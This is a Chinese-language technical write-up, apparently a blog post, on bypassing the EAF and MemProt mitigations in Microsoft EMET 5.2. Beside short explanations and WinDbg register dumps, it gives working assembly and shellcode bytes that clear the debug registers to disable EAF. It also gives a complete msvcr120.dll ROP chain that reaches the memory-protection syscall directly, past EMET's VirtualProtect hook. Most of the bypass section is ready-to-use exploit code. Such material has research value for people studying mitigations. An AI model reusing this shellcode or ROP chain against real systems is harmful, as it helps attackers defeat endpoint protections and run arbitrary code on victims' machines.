绕过最新版 EMET 5.2 保护摘要

绕过EMET 5.2 EAT保护:

【保护原理】

分别对ntdll、kernel32和kernelbase的EAT基址下断点,断点地址记录在调试寄存器dr0、dr1、dr2、dr3上,dr6保存最新调试异常的状态信息,dr7包含4个断点的设置,当利用漏洞去调用EAT时就会触发中断。

开启EAT保护前:

1
2
3
4
5
0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc int 3

开启EAT保护后:

1
2
3
4
5
0:000> rM 20
dr0=76ea0204 dr1=7645ff8c dr2=7628b85c
dr3=00000000 dr6=ffff0ff2 dr7=0fff0115
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx

【绕过方法】

通过构造异常触发,来构造寄存器上下文,防止后面因dr寄存器清空也触发异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mov     eax, 150h     ; 指向服务号,防止异常处理失效
xor ecx, ecx
sub esp, 2cch ; makes space for CONTEXT
mov dword ptr [esp], 10010h ; CONTEXT_DEBUG_REGISTERS
mov dword ptr [esp + 4], ecx ; context.Dr0 = 0
mov dword ptr [esp + 8], ecx ; context.Dr1 = 0
mov dword ptr [esp + 0ch], ecx ; context.Dr2 = 0
mov dword ptr [esp + 10h], ecx ; context.Dr3 = 0
mov dword ptr [esp + 14h], ecx ; context.Dr6 = 0
mov dword ptr [esp + 18h], ecx ; context.Dr7 = 0
push esp
push 0fffffffeh ; current thread
mov edx, esp
call dword ptr fs : [0C0h] ; this also decrements ESP by 4
add esp, 4 + 2cch + 8

disable_EAF = (
"\xB8\x50\x01\x00\x00" + # mov eax,150h
"\x33\xC9" + # xor ecx,ecx
"\x81\xEC\xCC\x02\x00\x00" + # sub esp,2CCh ,makes space for CONTEXT
"\xC7\x04\x24\x10\x00\x01\x00" + # mov dword ptr [esp],10010h
"\x89\x4C\x24\x04" + # mov dword ptr [esp+4],ecx
"\x89\x4C\x24\x08" + # mov dword ptr [esp+8],ecx
"\x89\x4C\x24\x0C" + # mov dword ptr [esp+0Ch],ecx
"\x89\x4C\x24\x10" + # mov dword ptr [esp+10h],ecx
"\x89\x4C\x24\x14" + # mov dword ptr [esp+14h],ecx
"\x89\x4C\x24\x18" + # mov dword ptr [esp+18h],ecx
"\x54" + # push esp
"\x6A\xFE" + # push 0FFFFFFFEh
"\x8B\xD4" + # mov edx,esp
"\x64\xFF\x15\xC0\x00\x00\x00" + # call dword ptr fs:[0C0h]
"\x81\xC4\xD8\x02\x00\x00" # add esp,2D8h
)

绕过EMET 5.2 MemProt保护:

【保护原理】

EMET对VirtualProtect和VirtuaProtectEx进行Hook,正常情况下,执行上述函数后调用ntdll!ZwProtectVirtualMemory,接着向eax=0x4d传递服务号,然后调用 call dword ptr fs:[0C0h],此时EDX传递5个参数(进程句柄、地址、大小、可读写执行权限、可写地址),然后继续执行下去。

【绕过方法】

旧版EMET如4.1上,可以用VirtualAlloc/VirtuAllocEx。

最新版EMET 5.2上,可以用后面执行的原始代码去代替被EMET HOOK的地方,即构造ROP,使得eax=0x4d,然后通过ntdll!NtQueryInformationThread中的call dword ptr fs:[0c0h]指令去执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
[
msvcr120 = 0x73c60000 # 固定基址,无ASLR保护模块msvcr

# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000 # 0x37E0000

# EAX = ntdll!RtlExitUserThread
md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7056507c, # IAT: &ntdll!RtlExitUserThread
md + 0x70501e19, # MOV EAX,DWORD PTR [EAX] # POP ESI # POP EBP # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
0x11111111,
0x11111111,

# EAX = ntdll!NtQueryInformationThread
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704a691c, # ADD EAX,DWORD PTR [EAX] # RETN ** [MSVCR120.dll] ** | asciiprint,ascii {PAGE_EXECUTE_READ}
md + 0x704ecd87, # ADD EAX,4 # POP ESI # POP EBP # RETN 0x04 ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x11111111,
0x11111111,
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x11111111, # for RETN 0x04

# EAX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
md + 0x7049178a, # ADD EAX,8 # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x704aa20f, # INC EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}

# EBX -> "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"
md + 0x704819e8, # XCHG EAX,EBX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}

# ECX = 0; EAX = 0x4d
md + 0x704f2485, # XOR ECX,ECX # MOV EAX,ECX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
md + 0x7053b8fb, # POP EAX # RETN ** [MSVCR120.dll] ** | {PAGE_EXECUTE_READ}
0x4d,

md + 0x704c0a08, # JMP EBX
md + 0x7055adf3, # JMP ESP
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14
0x11111111, # for RETN 0x14

# real_code:
0x90901eeb, # jmp skip

# args:
0xffffffff, # current process handle
0x11111111, # &address = ptr to address
0x11111111, # &size = ptr to size
0x40,
md + 0x705658f2, # &Writable location [MSVCR120.dll]
# end_args:
0x11111111, # address code_size + 8 # size
# skip:
]